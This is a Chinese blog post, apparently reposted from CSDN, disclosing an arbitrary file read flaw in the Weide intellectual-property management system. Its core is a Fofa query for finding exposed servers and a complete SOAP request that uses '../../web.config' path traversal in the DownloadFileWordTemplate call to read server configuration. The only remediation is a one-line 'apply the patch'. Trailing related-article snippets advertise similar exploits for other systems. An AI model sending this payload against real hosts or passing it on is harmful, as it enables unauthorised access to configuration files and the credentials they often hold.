首页 > 其他分享 >唯徳知识产权管理系统 UploadFileWordTemplate 任意文件读取

唯徳知识产权管理系统 UploadFileWordTemplate 任意文件读取

时间:2024-09-15 14:50:22浏览次数:14  
标签:web UploadFileWordTemplate .. 管理系统 Content 漏洞 知识产权 读取

0x01 漏洞描述:

唯徳于2014年成立,是专业提供企业、代理机构知识产权管理软件供应商,某公司凭借领先的技术实力和深厚的专利行业积累,产品自上市推广以来,已为1000多家企业及代理机构提供持续稳定的软件服务。其知识产权系统DownloadFileWord**存在任意文件读取漏洞

0x02 搜索语句:

Fofa:body="JSCOMM/language.js"

0x03 漏洞复现:

POST /AutoUpdate/WSFM.asmx HTTP/1.1
Host: your-ip
Content-Type: text/xml; charset=utf-8
Content-Length: length
SOAPAction: "http://tempuri.org/DownloadFileWordTemplate"

<?xml version="1.0" encoding="utf-8"?>
<soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
  <soap:Body>
    <DownloadFileWordTemplate xmlns="http://tempuri.org/">
      <fileName>../../web.config</fileName>
    </DownloadFileWordTemplate>
  </soap:Body>
</soap:Envelope>

读取web.conf后响应体数据做了base64编码 解码后数据如下

0x04 修复建议:

厂商已发布补丁请及时修复

标签:web,UploadFileWordTemplate,..,管理系统,Content,漏洞,知识产权,读取
From: https://blog.csdn.net/xc_214/article/details/142283765

相关文章

  • 某景ERP管理系统 UploadInvtSpFile 任意文件上传
    0x01漏洞描述:某景ERP管理系统UploadInvtSpFile存在任意文件上传漏洞,允许攻击者上传恶意文件到服务器,可能导致远程代码执行、网站篡改或其他形式的攻击,严重威胁系统和数据安全。0x02搜索语句:FOFA:body="/api/DBRecord/getDBRecords"0x03漏洞复现:POST/api/cgInvtSp/Upl......
  • [1018]基于JAVA的外贸服装智慧管理系统的设计与实现
    毕业设计(论文)开题报告表姓名学院专业班级题目基于JAVA的外贸服装智慧管理系统的设计与实现指导老师(一)选题的背景和意义背景部分:在全球经济一体化的大背景下,我国对外贸易行业持续繁荣发展,尤其是服装外贸领域,由于其更新迭代快、市场需求多样以及交易环节复杂等特点,对信......
  • [1008]基于JAVA的外卖数据智慧管理系统的设计与实现
    毕业设计(论文)开题报告表姓名学院专业班级题目基于JAVA的外卖数据智慧管理系统的设计与实现指导老师(一)选题的背景和意义选题背景与意义:在当今社会,随着互联网技术的快速发展以及生活节奏的加快,外卖行业已逐渐成为现代人生活中不可或缺的一部分。基于Java的外卖数据智慧......
  • [0989]基于JAVA的墙纸销售智慧管理系统的设计与实现
    毕业设计(论文)开题报告表姓名学院专业班级题目基于JAVA的墙纸销售智慧管理系统的设计与实现指导老师(一)选题的背景和意义选题背景与意义:随着信息技术的飞速发展和市场需求的日益精细化,企业对内部管理效率和决策精准性的要求不断提高。墙纸销售行业作......
  • [0980]基于JAVA的塑料膜进销存智慧管理系统的设计与实现
    毕业设计(论文)开题报告表姓名学院专业班级题目基于JAVA的塑料膜进销存智慧管理系统的设计与实现指导老师(一)选题的背景和意义选题背景与意义:随着我国工业生产和商品流通领域的快速发展,企业对供应链管理的需求日益增强,尤其是对于塑料膜这类广泛应用在......
  • 【开题报告】基于django+vue物流管理系统(论文+程序)
    本系统(程序+源码+数据库+调试部署+开发环境)带论文文档1万字以上,文末可获取,系统界面在最后面。系统程序文件列表开题报告内容研究背景随着电子商务的蓬勃发展和消费者购物习惯的转变,物流行业迎来了前所未有的发展机遇与挑战。传统的物流管理系统往往存在信息孤岛、效率低下......
  • 【开题报告】基于django+vue旅游管理系统(论文+源码) 计算机毕业设计
    本系统(程序+源码+数据库+调试部署+开发环境)带论文文档1万字以上,文末可获取,系统界面在最后面。系统程序文件列表开题报告内容研究背景随着旅游业的蓬勃发展,旅游市场的竞争日益激烈,传统的旅游管理方式已难以满足游客多元化、个性化的需求。在这个数字化时代,构建一个高效、便......
  • springboot+vue学生综合信息管理系统【程序+论文+开题】计算机毕业设计
    系统程序文件列表开题报告内容研究背景随着高等教育的快速发展,学生数量激增,传统的手工或简单信息化管理方式已难以满足当前学生信息管理的复杂需求。学生综合信息管理系统作为高校信息化建设的重要组成部分,旨在通过集成化、智能化的手段,实现对学生信息、教师资源、课程安排......
  • 基于Java+Springboot+Vue开发的民宿预订管理系统
    项目简介该项目是基于Java+Springboot+Vue开发的民宿预订管理系统(前后端分离),这是一项为大学生课程设计作业而开发的项目。该系统旨在帮助大学生学习并掌握Java编程技能,同时锻炼他们的项目设计与开发能力。通过学习基于Java的民宿预订管理系统项目,大学生可以在实践中学习和提升自......
  • 基于Java+Springboot+Vue开发的电影订票管理系统
    项目简介该项目是基于Java+Springboot+Vue开发的电影订票管理系统(前后端分离),这是一项为大学生课程设计作业而开发的项目。该系统旨在帮助大学生学习并掌握Java编程技能,同时锻炼他们的项目设计与开发能力。通过学习基于Java的电影订票管理系统项目,大学生可以在实践中学习和提升自......